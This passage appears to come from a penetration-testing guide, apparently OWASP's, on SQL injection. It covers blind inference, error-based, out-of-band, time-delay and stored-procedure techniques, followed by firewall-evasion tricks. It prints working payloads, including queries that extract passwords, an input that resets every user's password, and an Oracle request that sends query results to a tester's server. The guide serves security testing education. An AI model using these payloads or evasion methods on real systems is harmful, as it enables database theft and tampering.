The previous example returns a result if and only if the first character of the field username is equal to the ASCII value 97. If we get a false value, then we increase the index of the ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the ASCII table and we analyze the next character, modifying the parameters of the SUBSTRING function. The problem is to understand in which way we can distinguish tests returning a true value from those that return false. To do this, we create a query that always returns false. This is possible by using the following value for Id:


$Id=1' AND '1' = '2 


Which will create the following query:


SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2' 


The obtained response from the server (that is HTML code) will be the false value for our tests. This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test executed before. Sometimes, this method does not work. If the server returns two different pages as a result of two identical consecutive web requests, we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two templates in order to decide the result of the test.


In the previous discussion, we haven't dealt with the problem of determining the termination condition for out tests, i.e., when we should end the inference procedure. A techniques to do this uses one characteristic of the SUBSTRING function and the LENGTH function. When the test compares the current character with the ASCII code 0 (i.e., the value null) and the test returns the value true, then either we are done with the inference procedure (we have scanned the whole string), or the value we have analyzed contains the null character.


We will insert the following value for the field Id:


$Id=1' AND LENGTH(username)=N AND '1' = '1 


Where N is the number of characters that we have analyzed up to now (not counting the null value). The query will be:


SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1' 


The query returns either true or false. If we obtain true, then we have completed the inference and, therefore, we know the value of the parameter. If we obtain false, this means that the null character is present in the value of the parameter, and we must continue to analyze the next parameter until we find another null value.


The blind SQL injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.


Error based Exploitation technique

An Error based exploitation technique is useful when the tester for some reason can’t exploit the SQL injection vulnerability using other technique such as UNION. The Error based technique consists in forcing the database to perform some operation in which the result will be an error. The point here is to try to extract some data from the database and show it in the error message. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).


Consider the following SQL query:


SELECT * FROM products WHERE id_product=$id_product


Consider also the request to a script who executes the query above:


http://www.example.com/product.php?id=10


The malicious request would be (e.g. Oracle 10g):


http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--


In this example, the tester is concatenating the value 10 with the result of the function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the host name of the parameter passed to it, which is other query, the name of the user. When the database looks for a host name with the user database name, it will fail and return an error message like:


ORA-292257: host SCOTT unknown


Then the tester can manipulate the parameter passed to GET_HOST_NAME() function and the result will be shown in the error message.


Out of band Exploitation technique

This technique is very useful when the tester find a Blind SQL Injection situation, in which nothing is known on the outcome of an operation. The technique consists of the use of DBMS functions to perform an out of band connection and deliver the results of the injected query as part of the request to the tester’s server. Like the error based techniques, each DBMS has its own functions. Check for specific DBMS section.


Consider the following SQL query:


SELECT * FROM products WHERE id_product=$id_product


Consider also the request to a script who executes the query above:


http://www.example.com/product.php?id=10


The malicious request would be:


http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELECT user FROM DUAL)--


In this example, the tester is concatenating the value 10 with the result of the function UTL_HTTP.request. This Oracle function will try to connect to ‘testerserver’ and make a HTTP GET request containing the return from the query “SELECT user FROM DUAL”. The tester can set up a webserver (e.g. Apache) or use the Netcat tool:


/home/tester/nc –nLp 80
 
GET /SCOTT HTTP/1.1
Host: testerserver.com
Connection: close

Time delay Exploitation technique

The time delay exploitation technique is very useful when the tester find a Blind SQL Injection situation, in which nothing is known on the outcome of an operation. This technique consists in sending an injected query and in case the conditional is true, the tester can monitor the time taken to for the server to respond. If there is a delay, the tester can assume the result of the conditional query is true. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).


Consider the following SQL query:


SELECT * FROM products WHERE id_product=$id_product


Consider also the request to a script who executes the query above:


http://www.example.com/product.php?id=10


The malicious request would be (e.g. MySql 5.x):


http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--


In this example the tester is checking whether the MySql version is 5.x or not, making the server to delay the answer by 10 seconds. The tester can increase the delay time and monitor the responses. The tester also doesn’t need to wait for the response. Sometimes he can set a very high value (e.g. 100) and cancel the request after some seconds.

Stored Procedure Injection

When using dynamic SQL within a stored procedure, the application must properly sanitize the user input to eliminate the risk of code injection. If not sanitized, the user could enter malicious SQL that will be executed within the stored procedure.


Consider the following SQL Server Stored Procedure:

 
Create procedure user_login @username varchar(20), @passwd varchar(20) 
As
Declare @sqlstring varchar(250)
Set @sqlstring  = ‘
Select 1 from users
Where username = ‘ + @username + ‘ and passwd = ‘ + @passwd
exec(@sqlstring)
Go

User input:

anyusername or 1=1'
anypassword

This procedure does not sanitize the input, therefore allowing the return value to show an existing record with these parameters.

NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a user, but consider a dynamic reporting query where the user selects the columns to view. The user could insert malicious code into this scenario and compromise the data.

Consider the following SQL Server Stored Procedure:

 
Create
procedure get_report @columnamelist varchar(7900)
As
Declare @sqlstring varchar(8000)
Set @sqlstring  = ‘
Select ‘ + @columnamelist + ‘ from ReportTable‘
exec(@sqlstring)
Go

User input:

1 from users; update users set password = 'password'; select *

This will result in the report running and all users’ passwords being updated.


Automated Exploitation

Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester can find information how to perform an automated auditing using SQLMap:

https://www.owasp.org/index.php/Automated_Audit_using_SQLMap


SQL Injection signature Evasion Techniques

The techniques are used to bypass defenses such as Web application firewalls (WAFs) or intrusion prevention systems (IPSs). Also refer to https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF

White Space

Dropping space or adding spaces that won't affect the SQL statement. For example

 or 'a'='a' 
 or 'a'  =    'a' 

Adding special character like new line or tab that won't change the SQL statement execution. For example,

 
or 
'a'=
      'a' 

Null Bytes

Use null byte (%00) prior to any characters that the filter is blocking.

For example, if the attacker may inject the following SQL

' UNION SELECT password FROM Users WHERE username='admin'--

to add Null Bytes will be

%00' UNION SELECT password FROM Users WHERE username='admin'--

SQL Comments

Adding SQL inline comments can also help the SQL statement to be valid and bypass the SQL injection filter. Take this SQL injection as example.

' UNION SELECT password FROM Users WHERE name='admin'--

Adding SQL inline comments will be.

'/**/UNION/**/SELECT/**/password/**/FROM/**/Users/**/WHERE/**/name/**/LIKE/**/'admin'--
'/**/UNI/**/ON/**/SE/**/LECT/**/password/**/FROM/**/Users/**/WHE/**/RE/**/name/**/LIKE/**/'admin'--

URL Encoding

Use the online URL encoding to encode the SQL statement

http://meyerweb.com/eric/tools/dencoder/

' UNION SELECT password FROM Users WHERE name='admin'--

The URL encoding of the SQL injection statement will be

%27%20UNION%20SELECT%20password%20FROM%20Users%20WHERE%20name%3D%27admin%27--

Character Encoding

Char() function can be used to replace English char. For example, char(114,111,111,116) means root

' UNION SELECT password FROM Users WHERE name='root'--

To apply the Char(), the SQL injeciton statement will be

' UNION SELECT password FROM Users WHERE name=char(114,111,111,116)--


String Concatenation

Concatenation breaks up SQL keywords and evades filters. Concatenation syntax varies based on database engine. Take MS SQL engine as an example

   select 1

The simple SQL statement can be changed as below by using concatenation

   EXEC('SEL' + 'ECT 1')


Hex Encoding

Hex encoding technique uses Hexadecimal encoding to replace original SQL statement char. For example, 'root' can be represented as 726F6F74

      Select user from users where name = 'root'

The SQL statement by using HEX value will be:

      Select user from users where name = 726F6F74

or

      Select user from users where name = unhex('726F6F74')


Declare variables

Declare the SQL injection statement into variable and execute it.

For example, SQL injection statement below

   Union Select password

Define the SQL statement into variable SQLivar

 ; declare @SQLivar nvarchar(80); set @myvar = N'UNI' + N'ON' + N' SELECT' + N'password'); 
EXEC(@SQLivar) 

Alternative Expression of 'or 1 = 1'

  • OR 'SQLi' = 'SQL'+'i'
  • OR 'SQLi' > 'S'
  • or 20 > 1
  • OR 2 between 3 and 1
  • OR 'SQLi' = N'SQLi'
  • 1 and 1 = 1
  • 1 || 1 = 1
  • 1 && 1 = 1

Tools

References

Technology specific Testing Guide pages have been created for the following DBMSs:

Whitepapers

Documentation on SQL injection vulnerabilities in products